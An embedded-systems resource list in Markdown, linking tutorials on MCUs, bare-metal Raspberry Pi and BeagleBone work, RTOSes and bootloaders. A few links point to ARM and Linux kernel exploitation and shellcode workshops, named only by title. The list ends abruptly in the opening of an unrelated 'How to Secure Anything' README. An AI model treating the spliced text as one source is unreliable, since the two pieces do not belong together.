## Common
* [Integer size in C on 32-bit and 64-bit system](https://usrmisc.wordpress.com/2012/12/27/integer-sizes-in-c-on-32-bit-and-64-bit-linux/)
* [TeraTerm - TTL command reference](http://ttssh2.osdn.jp/manual/en/macro/command/index.html)
* [TeraTerm Scripts](http://processors.wiki.ti.com/index.php/Teraterm_Scripts)
* [Linker Command File Primer](http://processors.wiki.ti.com/index.php/Linker_Command_File_Primer)
* [The C build process](https://blog.feabhas.com/2012/06/the-c-build-process/)
* [Building Bare-Metal ARM Systems with GNU](https://www.embedded.com/design/mcus-processors-and-socs/4026111/Building-Bare-Metal-ARM-Systems-with-GNU-Part-9)
* [ELF – Executable and Linkable Format](https://2wisebit.wordpress.com/2018/06/08/elf-executable-and-linkable-format/)
* [Toolchains](https://web.eecs.umich.edu/~prabal/teaching/resources/eecs373/toolchain-notes.pdf)
* [What is an application binary interface (ABI)?](https://stackoverflow.com/questions/2171177/what-is-an-application-binary-interface-abi)
* [ARM Cortex M4 Blink Example (Linker Script)](http://robotics.mcmanis.com/src/arm-blink/linker-script.html)
* [A Sample Linker Script](http://hertaville.com/a-sample-linker-script.html)
* [Linking and Loading](http://www.iecc.com/linker/linker01.html)
* [Embedded Software _ Getting started](http://www2.thu.edu.tw/~emtools/DOE_project/NCCU/embedded%20system/ESD_06_GettingStarted.pdf)
* [How to convert from an armlink scatter file to a GNU ld linker script](https://www.mayrhofer.eu.org/node/24)
* [Using the GNU Linker](https://www.math.utah.edu/docs/info/ld_3.html)
## MCU programming
### Bare-metal programming (Don't need MCU)
* [Simplest bare metal program for ARM](https://balau82.wordpress.com/2010/02/14/simplest-bare-metal-program-for-arm/) ([table of content](https://balau82.wordpress.com/arm-emulation/))
* [Bare metal programming guide](github.com/cpq/bare-metal-programming-guide) - a detailed guide for beginners
### MSP430
* [MSP430-GCC](http://www.simplyembedded.org/tutorials/setting-up-a-virtual-machine/)
* [CS4101: Introduction to Embedded Systems](http://www.cs.nthu.edu.tw/~king/courses/cs4101/2016/cs4101.html) - The course is designed around labs, using TI MSP430 LaunchPad and Arduino Uno to discuss concepts such as basic I/O, timing and clocking, interupt handling, serial communication, embedded operating systems, synchronization, etc.
* [msp430-template](https://github.com/uctools/msp430-template) - A template for MSP430 firmware.
* [MSP430 reference](https://students.cs.byu.edu/~clement/cs224/references/my_references.php)
### TM4C123
* [EmbeddedSystems.Playground](https://github.com/glennlopez/EmbeddedSystems.Playground/wiki/Periodic-SysTick-Interrupts)
* [Macros in TivaWare](https://sites.google.com/site/luiselectronicprojects/tutorials/tiva-tutorials/direct-register-access-notes/macros-in-tivaware)
* [Analog to Digital Conversion, Data Acquisition and Control](http://users.ece.utexas.edu/~valvano/Volume1/E-Book/C14_ADCdataAcquisition.htm)
* [Embedded Systems - Shape The World](http://users.ece.utexas.edu/~valvano/Volume1/E-Book/)
* [HowTo: Develop on the TI Tiva LaunchPad using Linux](http://chrisrm.com/howto-develop-on-the-ti-tiva-launchpad-using-linux/)
* [Linux command line build system to generate binaries for TM4C123 (ARM Cortex M4)](https://github.com/pitankar/TM4C)
* [The complete tutorial for Stellaris LaunchPad development with GNU/Linux (I)](http://kernelhacks.blogspot.com/2012/11/the-complete-tutorial-for-stellaris.html)
* [Getting Started with the TI Stellaris LaunchPad on Linux](https://www.jann.cc/2012/12/11/getting_started_with_the_ti_stellaris_launchpad_on_linux.html)
* [Embedded Systems with TM4C123 @Valvano](http://users.ece.utexas.edu/~valvano/arm/)
* [Create FreeRTOS Demo Project using the GCC Compiler](http://shukra.cedt.iisc.ernet.in/edwiki/EmSys:Create_freertos_on_tm4c123_CCS_Project)
* [Serial bootloader on TM4C12x Microcontroller](http://www.ti.com/lit/an/spma074a/spma074a.pdf)
* [Tivaware bootloader](http://www.ti.com/lit/ug/spmu301d/spmu301d.pdf)
* [Diagnosing Common Development Problems and Tips & Info for TM4C Devices](http://e2e.ti.com/support/microcontrollers/tiva_arm/f/908/t/374640)
* [FreeRTOS-GCC-tm4c123glx](https://github.com/nhivp/FreeRTOS-GCC-tm4c123glx) - A port of FreeRTOS to the Texas Instruments Tiva TM4C123GLX Launchpad.
* [Stellaris_TM4C123G_GCC_Template](https://github.com/AndoniV/Stellaris_TM4C123G_GCC_Template) - Texas Instruments template project for the TM4C123 series using GNU toolchain.
* [tm4c-gcc](https://github.com/martinjaros/tm4c-gcc) - TM4C123 GCC project template.
* [tivaapps](https://github.com/alexeicolin/tivaapps) - Example hello-world apps for Texas Instruments TI-RTOS for Tiva C using a Linux host
* [Drivers and examples](https://github.com/Mohammed-AhmedAF/ARM/tree/master/tiva-c) - Drivers for internal peripherals and external modules for Tiva C, examples of FreeRTOS features under development/FreeRTOS
### MSP432
* [Real-Time Bluetooth Networks - UTAustinX](https://github.com/monpeco/real_time_bn) - Learn the design fundamentals of a real-time operating system (RTOS) and how to build a Bluetooth network in this hands-on project-based course.
### STM32
* [STM32 bootloader](http://ciesie.com/post/stm32_bootloader/)
* [Tests to program STM32 Nucleo in C with GCC ARM embedded toolchain and libopencm3](https://github.com/balau/nucleo_tests)
* [A demo project of FreeRTOS running on a STM32F4 Discovery board.](https://github.com/wangyeee/STM32F4-FreeRTOS)
* [DFU Bootloader for STM32 chips](https://github.com/devanlai/dapboot)
* [Customizable Bootloader for STM32 microcontrollers.](https://github.com/akospasztor/stm32-bootloader)
* [Lightweight USB device Stack for STM32 microcontrollers](https://github.com/dmitrystu/libusb_stm32)
* [STM32 programming with Embedded GNU Compiler](https://github.com/rowol/stm32_discovery_arm_gcc)
* [A tiny portable 3D graphics lib for micro controllers (Oled display)](https://github.com/avem-labs/ol3d)
* [Getting started with the STM32F4-Discovery board using the EmBitz IDE](https://github.com/RoanFourie/STM32F4-DISCO-EMBITZ-Blinky)
* [libopencm3 and FreeRTOS projects using the STM32F103C8T6 MCU](https://github.com/ve3wwg/stm32f103c8t6)
* [A template for builting STM23F0 ARM projects with GCC](https://github.com/szczys/stm32f0-discovery-basic-template)
* [Open source flash program for STM32 using the ST serial bootloader](https://sourceforge.net/projects/stm32flash/)
* [stm32-hid-bootloader](https://github.com/bootsector/stm32-hid-bootloader) - Driverless USB HID bootloader and flashing tool for STM32F10X devices
* [stm32l1xx-template](https://github.com/uctools/stm32l1xx-template) - A template for building firmware for the STM32L1xx.
* [STM32F103C8 Examples](https://github.com/avislab/STM32F103)
* [stm32f103](https://github.com/trebisky/stm32f103) - Bare metal programming on a generic STM32F103c8 board
* [stm32_samples](https://github.com/dwelch67/stm32_samples)
* [stm32f4de example code](https://github.com/dwelch67/stm32f4d)
* [stm32f4xx with Rust at the HAL](https://apollolabsblog.hashnode.dev/series/stm32f4-embedded-rust-hal) - A series of tutorials for building STM32F4xx applications with Rust.
* [stm32-rf-scanner](https://github.com/gemesa/stm32-rf-scanner) - STM32 and nRF24L01+ based 2.4GHz RF scanner
* [stm32-dc-dc](https://github.com/gemesa/stm32-dc-dc) - STM32 based DC-DC converter
* [rustlink](https://github.com/gemesa/rustlink) - small set of Rust tools to program STM32 devices
### STM32F7
* [STM32F7 Series](https://www.st.com/en/microcontrollers/stm32f7-series.html?querycriteria=productId=SS1858)
* [STM32 eLinux](https://elinux.org/STM32)
* [STM32F7 os.mbed](https://os.mbed.com/platforms/ST-Discovery-F746NG/)
### STM8
* [stm8-bare-min](https://github.com/lujji/stm8-bare-min) - Tiny peripheral library for STM8S
* [stm8-bootloader](https://github.com/lujji/stm8-bootloader) - Serial bootloader for STM8S microcontrollers
* [stm8-multi-tasker](https://github.com/vsch/stm8-multi-tasker) - STM8-Multi-Tasker - Preemptive/Cooperative Round Robin Scheduler for STM8
* [Wolk STM8 stuff ](https://github.com/LonelyWolf/stm8)
* [STM8S001J3_tiny_board](https://github.com/HexRx/STM8S001J3_tiny_board) - A tiny dev board for STM8S001J3 MCU designed in KiCad.
### ESP8266
* [An open source bootloader for the ESP8266](https://github.com/raburton/rboot)
* [An esp8266 rom creation tool](https://github.com/raburton/esptool2)
* [Wi-FI ESP8266 learning journey](https://github.com/xuhongv/StudyInEsp8266)
* [Wi-FI ESP32 learning journey](https://github.com/xuhongv/StudyInEsp32)
* [Sming - ESP8266/ESP32 IoT Framework](https://github.com/SmingHub/Sming)
## Raspberry
* [Raspberry Pi Bare Metal](https://github.com/fordp2002/ArmCopro/wiki/Raspberry-Pi-Bare-Metal) & [related link](https://microeletroniki.wordpress.com/)
* [ChibiOS/RT on the Raspberry Pi](https://www.stevebate.net/chibios-rpi/GettingStarted.html)
* [Raspberry Pi ARM based bare metal examples](https://github.com/dwelch67/raspberrypi)
* [Bare metal Raspberry Pi 3 tutorials](https://github.com/bztsrc/raspi3-tutorial)
* [Open Projects: Raspberry, Beaglebone BSP](https://devel.rtems.org/wiki/Developer/OpenProjects)
* [A Real-Time Operating System on the Raspberry Pi](http://www.pebblebay.com/raspberry-pi-embedded/)
* [A port of FreeRTOS to the raspberry pi](https://github.com/jameswalmsley/RaspberryPi-FreeRTOS)
* [FreeRTOS Sucessfully Ported](https://www.raspberrypi.org/forums/viewtopic.php?f=72&t=22423)
* [Exploring AArch64 assembler - Raspberry](https://thinkingeek.com/2016/10/08/exploring-aarch64-assembler-chapter1/)
* [A bootloader for the Raspberry Pi using the ethernet device](https://github.com/Nvreformat/Etherboot)
* [Bare Metal Raspberry Pi](https://taylorpetrick.com/blog/post/bare-metal-pi-setup)
* [Bare Metal Programming in C](http://www.valvers.com/open-software/raspberry-pi/step01-bare-metal-programming-in-cpt1/)
* [Baking Pi – Operating Systems Development](https://www.cl.cam.ac.uk/projects/raspberrypi/tutorials/os/)
* [Search for 'Raspberry' topic on Github](https://github.com/topics/raspberry-pi-3?l=c)
* [elinux: Raspberry Pi Programming](https://elinux.org/Raspberry_Pi_Programming) or [elinux: RPi Hub](https://elinux.org/RPi_Hub)
* [Stanford CS104e - An Experimental Course on Operating Systems](https://web.stanford.edu/class/cs140e/)
* [Computer Systems](http://cs107e.github.io/)
* [Build a Debian-based ARM64 system for Raspberry Pi 3](https://github.com/UMRnInside/RPi-arm64)
* [Learning operating system development using Linux kernel and Raspberry Pi](https://github.com/s-matyukevich/raspberry-pi-os)
* [A port of FreeRTOS to the raspberry pi 2B. With USB+Ethernet+TCP/IP.](https://github.com/Forty-Tw0/RaspberryPi-FreeRTOS)
* [64-bit Tiano Core UEFI for the Raspberry Pi 3](https://github.com/andreiw/RaspberryPiPkg)
* [CXCORE-RaspberryPi3-ubuntu-18.04-aarch64](https://github.com/chainsx/ubuntu64-rpi#cxcore-raspberrypi3-ubuntu-1804-aarch64--)
* [Sample source: Baremetal source code for Raspberry](https://github.com/LdB-ECM/Raspberry-Pi)
* [Sample source: NarcOS - A bare metal ultralight kernel for Raspberry Pi 3](https://github.com/forkachild/NarcOS)
* [Sample source: FreeRTOS v9.0.0 port for Raspberry Pi 1](https://github.com/leodido99/RaspberryPi1-FreeRTOSv9.0.0)
* [Sample source: A bare-metal experiments with the RaspberryPi](https://github.com/majorviraj/my-os)
* [「BareMetalで遊ぶ Raspberry Pi」のプログラムです。](https://github.com/jitomesky/RPi_Micon_C85book)
* [UEFI for RaspberryPi2 and RaspberryPi3 based on Linaro EDK2](https://github.com/ms-iot/RPi-UEFI)
* [ARM-episodes](https://github.com/invictus1306/ARM-episodes) & [ARM exploitation for IoT](https://quequero.org/2017/07/arm-exploitation-iot-episode-1/)
* [ARM shellcode and exploit development - BSidesMunich 2018](https://github.com/invictus1306/Workshop-BSidesMunich2018)
* [64 bit Bare Metal Programming on RPI-3](https://archive.fosdem.org/2017/schedule/event/programming_rpi3/attachments/slides/1475/export/events/attachments/programming_rpi3/slides/1475/bare_metal_rpi3.pdf)
* [Raspberry Pi 3 Bare Metal](https://adamransom.github.io/posts/raspberry-pi-bare-metal-part-1.html)
* [Assembly code for Raspberry Pi](https://github.com/Alkesst/RPIAssembly)
* [A public Baremetal Raspberry Pi code](https://github.com/LdB-ECM/Raspberry-Pi)
* [Raspberry-Pi Bare Metal Tutorial](https://github.com/BrianSidebotham/arm-tutorial-rpi)
* [uCOS-II on Raspberry Pi](https://github.com/fmlab/ucos_RaspberryPi)
* [Porting uCOSII to the raspberry pi A+/B+/2B](https://github.com/mopplayer/uCOSII_RPi)
* [Bare-metal examples](https://github.com/mrvn/RaspberryPi-baremetal)
* [Bare-metal lab](https://github.com/tzuCarlos/RaspberryPi)
* [Exploring Raspberry Pi: Interfacing to the Real World with Embedded Linux {book}](https://www.wiley.com/en-us/Exploring+Raspberry+Pi%3A+Interfacing+to+the+Real+World+with+Embedded+Linux-p-9781119188681)
* [Exploring Raspberry Pi: Interfacing to the Real World with Embedded Linux {website}](http://exploringrpi.com/)
## Beaglebone
* [BeagleBone Black I2C References](https://datko.net/2013/11/03/bbb_i2c/)
* [Learning BeagleBone Python Programming](https://hub.packtpub.com/learning-beaglebone-python-programming/)
* [Simple implementation of an OS for the BeagleBoard C4 with ARMv7 A8 processor.](https://github.com/Oxydation/MinionOS)
* [Various projects that utilize low level hardware instructions to interface with leds, speaker output and joystick input.](https://github.com/travelln/beaglebone-projects)
* [Windows Embedded Compact BSP for TI's Beaglebone](https://github.com/dvescovi1/WECBeagleBone)
* [BBB-BareMetal](https://github.com/allexoll/BBB-BareMetal)- Works on the beaglebone black (bare metal)
* [Running a Baremetal Beaglebone Black](https://www.twosixlabs.com/running-a-baremetal-beaglebone-black-part-1/) & [Part 2](https://www.twosixlabs.com/running-a-baremetal-beaglebone-black-part-2/)
* [Bare Metal on the BeagleBone (Black and Green)](https://www.cs.sfu.ca/CourseCentral/433/bfraser/other/BareMetalGuide.pdf) & [link1](https://www.cs.sfu.ca/CourseCentral/433/bfraser/other/) + [Link2](https://www.cs.sfu.ca/CourseCentral/433/bfraser/weekly.html)
* [A tutorial on bare-metal [OS] development on the Texas Instruments BeagleBoard.](https://wiki.osdev.org/ARM_Beagleboard)
* [bare metal c project for beaglebone, ti sitara am335x](https://github.com/0xCA5A/kickstart/tree/master/beaglebone/bare_metal_hello_world)
* [Bare Metal Applications on OSD335x using U-Boot](https://octavosystems.com/app_notes/bare-metal-on-osd335x-using-u-boot/#_Toc382081430)
* [bbb-asm-demo](https://github.com/mvduin/bbb-asm-demo) - Extremely tiny baremetal application for BeagleBone Black
* [Beaglebone - Getting started with JTAG and CCS](https://beagleboard.org/static/beaglebone/latest/Docs/ccs-jtag-simple.htm)
* [BeagleBoardJTAG](https://elinux.org/BeagleBoardJTAG)
* [beaglebone_samples](https://github.com/dwelch67/beaglebone_samples)
* [FreeRTOS for BeagleBone Black](https://github.com/henfos/BBBFreeRTOS)
## Linux kernel and device driver development
* [Linux inside](https://github.com/0xAX/linux-insides) - A little bit about a linux kernel
* [Writing device drivers in Linux](http://freesoftwaremagazine.com/articles/drivers_linux/)
* [YOLINUX Tutorials](http://www.yolinux.com/TUTORIALS/)
* [Linux driver programming](https://sites.google.com/site/embedded247/ddcourse)
* [Free training materials and conference presentations](https://bootlin.com/docs/)
* [eBook: Linux Drivers](https://sysplay.github.io/books/LinuxDrivers/book/index.html) or [Slides: Linux Drivers](https://sysplay.in/index.php?pagefile=linux_drivers)
* [c-periphery](https://github.com/vsergeev/c-periphery) - A C library for peripheral I/O (GPIO, SPI, I2C, MMIO, Serial) in Linux.
* [OpenEmbedded](http://www.openembedded.org/wiki/Main_Page),
* [Linux driver practices ](https://github.com/starnight/DriverPractice)
* [Linux Kernel Exploitation](https://github.com/xairy/linux-kernel-exploitation) - A bunch of links related to Linux kernel exploitation
* [Linux Kernel Module Cheat](https://github.com/cirosantilli/linux-kernel-module-cheat)
* [Start linux kernel module development!](https://rayanfam.com/topics/start-linux-kernel-module-development/)
* [Minimal Linux Live](https://github.com/ivandavidov/minimal) - a tiny educational Linux distribution
* [low-level programming university #linux-kernel-and-device-driver](https://github.com/gurugio/lowlevelprogramming-university#linux-kernel-and-device-driver)
## Assembly
* [GCC-Inline-Assembly-HOWTO](https://www.ibiblio.org/gferg/ldp/GCC-Inline-Assembly-HOWTO.html)
* [Assembly programming](https://courses.cs.washington.edu/courses/cse351/17sp/lectures/CSE351-L07-asm-I_17sp-ink.pdf)
## RTOS
* [List of open source real-time operating systems](https://www.osrtos.com/)
* [ROS](http://www.ros.org/)
* [FreeRTOS](https://freertos.org/)
* [FreeRTOS - Explaination](http://www.aosabook.org/en/freertos.html)
* [FreeRTOS API Reference Documentation](http://web.ist.utl.pt/~ist11993/FRTOS-API/index.html)
* [How to Write a Small RTOS](https://larrylisky.com/2012/07/14/how-to-create-a-small-rtos/)
* [RTOS From Scrach](https://github.com/RTOS-From-Scratch)
* [mini-arm-os & qemu with a stm32](https://github.com/embedded2015/mini-arm-os) or [here](https://github.com/jserv/mini-arm-os) - Build a minimal multi-tasking OS kernel for ARM Cortex-M series from scratch
* [Writing a simple operating system from scratch](https://www.cs.bham.ac.uk/~exr/lectures/opsys/10_11/lectures/os-dev.pdf)
* [Free real-time operating system (RTOS) designed for deeply embedded applications](https://github.com/stateos/StateOS)
* [MPSoC FreeRTOS Development](http://www.wiki.xilinx.com/MPSoC+FreeRTOS+Development)
* [Atomthreads: Open Source RTOS](https://atomthreads.com/)
* [High performance motor control](https://github.com/madcowswe/ODrive)
* [MINIX3: Open source RTOS](http://www.minix3.org/)
* [30 Days make OS](https://github.com/yourtion/30dayMakeOS) --> [YOS](https://github.com/yourtion/YOS) @[Yannik](https://yannik520.github.io/)
* Community: [OSDEV.org](https://wiki.osdev.org/Main_Page), [reddit/osdev](https://www.reddit.com/r/osdev/)
* [Real-time System Group](https://www.cs.york.ac.uk/rts/)
* [object-oriented C++ RTOS for microcontrollers](https://github.com/DISTORTEC/distortos)
* [RT-Thread is an open source IoT operating system from China.](https://github.com/RT-Thread/rt-thread)
* [How to create an OS from scratch](https://github.com/cfenollosa/os-tutorial)
* [Sample Source: TetrOS is a small feature rich Tetris clone which is written in Assembly.](https://github.com/daniel-e/tetros)
* [Sample Source: RTOS for microcontrollers](https://github.com/jimtremblay/nOS)
* [Sample Source: A Powerful embedded RTOS for ARM Cortex M microcontrollers](https://github.com/StratifyLabs/StratifyOS)
* [Sample Source: An embedded operating system for ARM Cortex-M based microcontrollers](https://github.com/onkwon/yaos)
* [Sample Source: rnk is a RTOS targeting ARM architecture.](https://github.com/raphui/rnk)
* [Sample Source: RTOS-From-Scratch](https://github.com/RTOS-From-Scratch/RTOS-From-Scratch)
* [Sample Source: Embeded OS for PIC32MX270F256B](https://github.com/envzhu/kozos-pic)
* [How I ended up writing a new real-time kernel](https://dmitryfrank.com/articles/how_i_ended_up_writing_my_own_kernel)
* [Sample Source: TNeo - a well-formed and carefully tested preemptive real-time kernel for 16- and 32-bits MCUs](https://github.com/dimonomid/tneo)
* [yaos is an embedded operating system for Internet of Things(IoT) devices, specifically for a single-core processor without MMU virtualization.](https://github.com/onkwon/yaos)
* [RT-Thread for Raspberry Pi 2B ](https://github.com/BernardXiong/raspi2)
* [tock](https://github.com/tock/tock) - A secure embedded operating system for Cortex-M based microcontrollers.
* [AliOS-Things](https://github.com/alibaba/AliOS-Things) - AliOS Things released by Alibaba is an open-source implementation of operating system (OS) for Internet of Things (IoT).
* [CoRTOS](https://forum.43oh.com/topic/13151-cortos-an-open-source-minimalist-rtos/) & [CoRTOS Simple Cooperative RTOS](https://sourceforge.net/projects/cortos-simple/) - An open source minimalist RTOS.
* [µOS++ Reference](http://micro-os-plus.github.io/develop/references/)
* [TNKernel](http://www.tnkernel.com/index.html) - a compact and very fast real-time kernel for the embedded 32/16/8 bits microprocessors.
* [Femto OS](http://www.femtoos.org/news.html) - a very concise portable real time - preemptive operating system (RTOS) for embedded microcontrollers with minimal ram and flash, say 2KB .. 16KB flash and 128 .. 1024 bytes ram.
## Automotive
* [Sample Source: Trampoline is a static RTOS for small embedded systems.](https://github.com/TrampolineRTOS/trampoline) & [labs](http://www.irccyn.ec-nantes.fr/~bechenne/trampoline-labs/)
* [Sample source: An integration an example AUTOSAR project which every part in AUTOSAR (OS, RTE, BSW, MCAL) are collected from different open source.](https://github.com/leduynguyen/My_AUTOSAR_Project)
* [automotive software(OSEK & AUTOSAR) ](https://github.com/parai/as) - Because I am not powerful so I decided to develop tiny but smart part of automotive software based on open source, and create a general AUTOSAR & Automotive Software study environment.
## OS
* [ucLinux](http://www.uclinux.org/): The Embedded Linux/Microcontroller project is a port of Linux to systems without a Memory Management Unit (MMU).
* [Tizen](https://www.elinux.org/Tizen)
* [Bootstrap yourself to write an OS from scratch. A book for self-learner.](https://github.com/tuhdo/os01)
* [Kernel 101 – Let’s write a Kernel](https://arjunsreedharan.org/post/82710718100/kernel-101-lets-write-a-kernel)
* [The little book about OS development](https://littleosbook.github.io/)
* [TetrOS](https://github.com/daniel-e/tetros) - Tetris that fits into the boot sector.
* [Writing a Simple Operating System from Scratch](https://www.cs.bham.ac.uk/~exr/lectures/opsys/10_11/lectures/os-dev.pdf)
* [JamesM's kernel development tutorials](http://www.jamesmolloy.co.uk/tutorial_html/)
* [Bare Bones](https://wiki.osdev.org/Bare_Bones) - a simple kernel for 32-bit x86 and boot it.
* [Operating System Development Series](http://www.brokenthorn.com/Resources/OSDevIndex.html)
* [7 Steps to Writing a Simple Cooperative Scheduler](https://www.edn.com/7-steps-to-writing-a-simple-cooperative-scheduler/)
* [A simple OS kernel for research, teaching, and fun](https://github.com/dthain/basekernel)
* [Operating Systems C Term 2018](https://github.com/Mcdonoughd/CS3013)
## WindowCE
* [GuruCE Blog](https://guruce.com/blog)
* [Windows CE Base Team Blog](https://blogs.msdn.microsoft.com/ce_base/)
* [DevWinCE blog](http://devwince.blogspot.com/)
* [Windows Embedded Compact BSP for Raspberry Pi](https://archive.codeplex.com/?p=ceonpi)
* [Windows Embedded Board Support Package for BeagleBone](https://archive.codeplex.com/?p=beaglebonebsp)
## Compiler
* [ARM Compiler - armasm User Guide](https://static.docs.arm.com/dui0801/i/DUI0801I_armasm_user_guide.pdf)
## Bootloader
* [Writing a boot loader in Assembly and C](https://www.codeproject.com/Articles/664165/Writing-a-boot-loader-in-Assembly-and-C-Part)
* [Writing a Bootloader Part 3](http://3zanders.co.uk/2017/10/18/writing-a-bootloader3/)
* [A bootloader for ARM Cortex-M based microcontrollers](https://github.com/onkwon/yaboot)
* [OpenBLT](https://github.com/feaser/openblt) - an open source and portable bootloader for microcontrollers.
* [ARMv7M ELF loader ](https://github.com/martinribelotta/elfloader)
* [Writing a Bootloader Part 1](http://3zanders.co.uk/2017/10/13/writing-a-bootloader/)
* [can-bootloader](https://github.com/cvra/can-bootloader) - The bootloader used to flash our CAN-connected boards
* [Bootloaders 101](https://www.embedded.com/design/prototyping-and-development/4410233/1/Bootloaders-101--making-your-embedded-design-future-proof)
* Understand boot process: [link1](https://www.beningo.com/understanding-the-microcontroller-boot-process/), [link2](https://www.beningo.com/understanding-the-microcontroller-boot-process/), [link3](https://www.eevblog.com/forum/microcontrollers/copy-data-from-rom-to-ram-and-execute/)
* Keywords: *hello world bootloader*, *writing a bootloader from scratch*, *how to write a bootloader in assembly*, ...
## Makefile
* [Managing projects with GNU Make](http://uploads.mitechie.com/books/Managing_Projects_with_GNU_Make_Third_Edition.pdf)
* [GCC and Make](https://www3.ntu.edu.sg/home/ehchua/programming/cpp/gcc_make.html)
## Peripheral
### Memory Protection Unit
* [Building Hardware Components for Memory Protection of Applications on a Tiny Processor](https://carrv.github.io/2017/papers/oh-mpu-carrv2017.pdf)
* [KeyStone Architecture: Memory Protection Unit (MPU)](http://www.ti.com/lit/ug/sprugw5a/sprugw5a.pdf)
### USB
* [tinyusb](https://github.com/hathach/tinyusb) - An open source USB stack for a variety of Embedded Systems.
## Others
* [A practical approach to Kalman filter and how to implement it](http://blog.tkjelectronics.dk/2012/09/a-practical-approach-to-kalman-filter-and-how-to-implement-it/)
* [Embedded System programming](http://www.5square.in/): Diving into Syllabus for investigation.
* [ELC 2018 Presentations](https://elinux.org/ELC_2018_Presentations)
* [ARM Edition](https://sparkylinux.org/wiki/doku.php/sparky_arm): Sparky ARM Edition is a Sparky version created for a single board mini computer RaspberryPi.
* [The gem5 Simulator](https://developer.arm.com/research/research-enablement/system-modeling) is a well-known sophisticated simulator used for computer system research at both architecture and micro-architecture levels. Main page is [here](http://gem5.org/Main_Page).
* [LineageOS Android Distribution](https://github.com/LineageOS)
* [The NoCAN platform](http://omzlo.com/articles/the-nocan-platform)
* [Realtime OS on Embedded Systems](http://socialledge.com/sjsu/index.php/Realtime_OS_on_Embedded_Systems)
* [These projects were produced in the five weeks of ECE 4760 each year.](https://people.ece.cornell.edu/land/courses/ece4760/FinalProjects/)
* [Advanced fault backtrace library for ARM Cortex-M series MCU](https://github.com/armink/CmBacktrace)
* [mcu-starter-projects](https://github.com/ataradov/mcu-starter-projects) - Simple starter projects for bare-metal MCU development.
* [DirtyJTAG](https://github.com/jeanthom/DirtyJTAG) - JTAG adapter firmware for STM32F1
* [Generic_MCU_Software_Infrastructure](https://github.com/GorgonMeducer/Generic_MCU_Software_Infrastructure) - Provide necessary software infrastructure, service, macros to support some high level abstruct concept or paradigm, such as OOPC, FSM, delegate (event-driven) and etc.
* [apollo](https://github.com/ApolloAuto/apollo) - An open autonomous driving platform.
* * [A Development Environment for ARM TrustZone with GlobalPlatform Support](https://www.eit.lth.se/sprapport.php?uid=793)
## Embedded GUI Development
* [Embedded Wizard](https://www.embedded-wizard.de/) - Sophisticated GUI for Your Embedded Platform
* [lvgl](https://littlevgl.com) - Graphics library to create an embedded GUI with easy-to-use graphical elements, beautiful visual effects and low memory footprint. It offers anti-aliasing, opacity, and animations using only one frame buffer.
## Machine Learning & AI on MCU
* [nnom](https://github.com/majianjia/nnom) - A higher-level Neural Network library for microcontrollers.
* [nn4mp](https://github.com/correlllab/nn4mp)
* [Embedded Learning Library (ELL)](https://github.com/Microsoft/ELL) - Microsoft's library to deploy intelligent machine-learned models onto resource constrained platforms and small single-board computers.
* [Qualcomm Neural Processing SDK for AI](https://developer.qualcomm.com/software/qualcomm-neural-processing-sdk) - Libraries to developers run NN models on Snapdragon mobile platforms taking advantage of the CPU, GPU and/or DSP.
* [CMSIS NN](https://arm-software.github.io/CMSIS_5/NN/html/index.html) - A collection of efficient neural network kernels developed to maximize the performance and minimize the memory footprint of neural networks on Cortex-M processor cores.
* [ARM Compute Library](https://developer.arm.com/technologies/compute-library) - Set of optimized functions for image processing, computer vision, and machine learning.
* [uTensor](https://github.com/uTensor/uTensor) - AI inference library based on mbed (an RTOS for ARM chipsets) and TensorFlow.
* [EmbededAI](https://github.com/boralt/EmbeddedAI) - A library that provides elements of AI to C++ applications.
* [kann](https://github.com/attractivechaos/kann) - A lightweight C library for artificial neural networks.
* [m2cgen](https://github.com/BayesWitnesses/m2cgen) - A CLI tool which allows to transpile trained classic ML models into a native code of various programming languages with zero dependencies including C.
## Utilities
* [lm4tools](https://github.com/utzig/lm4tools)
* [mspdebug](https://github.com/dlbeer/mspdebug) - Debugging tool for MSP430 MCUs
* [pycs](https://github.com/deadsy/pycs) - Python Based ARM CoreSight Debug and Trace Tools
## Tips & tricks
* [Awesome Cheat Sheets](https://github.com/mintisan/awesome-cheat-sheets/blob/master/README.md)
> Awesome Cheat Sheets for Developer Utility, like Git, Vim , Tmux, SublimeText, Markdown, Shell.
* [Vim Config for Reading Linux Kernel Source Code](https://github.com/mintisan/oh-my-vim)
* [GNU GDB Debugger Command Cheat Sheet](http://www.yolinux.com/TUTORIALS/GDB-Commands.html)
# Tech blogs
* [What a C programmer should know about memory](http://marek.vavrusa.com/memory/)
* [What Every Programmer Should Know About Memory](https://people.freebsd.org/~lstewart/articles/cpumemory.pdf)
* [What Every C Programmer Should Know About Undefined Behavior ](http://blog.llvm.org/2011/05/what-every-c-programmer-should-know.html) [part 2](http://blog.llvm.org/2011/05/what-every-c-programmer-should-know_14.html) [part 3](http://blog.llvm.org/2011/05/what-every-c-programmer-should-know_21.html)
* [A Guide to Undefined Behavior in C and C++](https://blog.regehr.org/archives/213)
* [Software Engineering Takeaways](https://blog.regehr.org/archives/1594)
* [Embedsys weekly newsletter](https://embedsysweekly.com/)
## FAQ_Embedded
* [Boot section is removed (gcc, ld, ar, as)](https://www.embeddedrelated.com/showthread/lpc2000/47841-1.php)
* [What are .axf files?](https://stackoverflow.com/questions/17761328/what-are-axf-files)
## Looking for more lists like this?
* [awesome-c](https://github.com/uhub/awesome-c) - A curated list of awesome C frameworks, libraries and software.
* [A curated list of project-based tutorials in C](https://github.com/rby90/Project-Based-Tutorials-in-C)
* [Curated list of project-based tutorials](https://github.com/tuvtran/project-based-learning)
* [Curated list of awesome lists](https://github.com/sindresorhus/awesome)
* [A curated list of awesome Raspberry Pi tools, projects, images and resources](https://github.com/thibmaek/awesome-raspberry-pi)
* [Curated List of Self-Driving Cars and Autonomous Vehicles Resources](https://github.com/takeitallsource/awesome-autonomous-vehicles)
* [awesome-embedded-systems](https://github.com/embedded-boston/awesome-embedded-systems)
* [awesome-cheat-sheets](https://github.com/mintisan/awesome-cheat-sheets) - Awesome Cheat Sheets for Developer Utility, like Git, Vim, Tmux, Sublime Text, Markdown, Shell.
* [awesome-embedded-rust](https://github.com/rust-embedded/awesome-embedded-rust) - Curated list of resources for Embedded and Low-level development in the Rust programming languague.
## BOOKs
* [Mastering the Raspberry Pi](http://web.archive.org/web/20190713103510/http://mensshed-llandudno.co.uk/wp-content/uploads/Mastering%20the%20Raspberry%20Pi.pdf)
* [Modern C](http://web.archive.org/web/20190219172719/http://icube-icps.unistra.fr/img_auth.php/d/db/ModernC.pdf)
|
# How to Secure Anything
Security engineering is the discipline of building secure systems.
Its lessons are not just applicable to computer security. In fact, in this repo, I aim to document a process for securing anything, whether it's a medieval castle, an art museum, or a computer network.
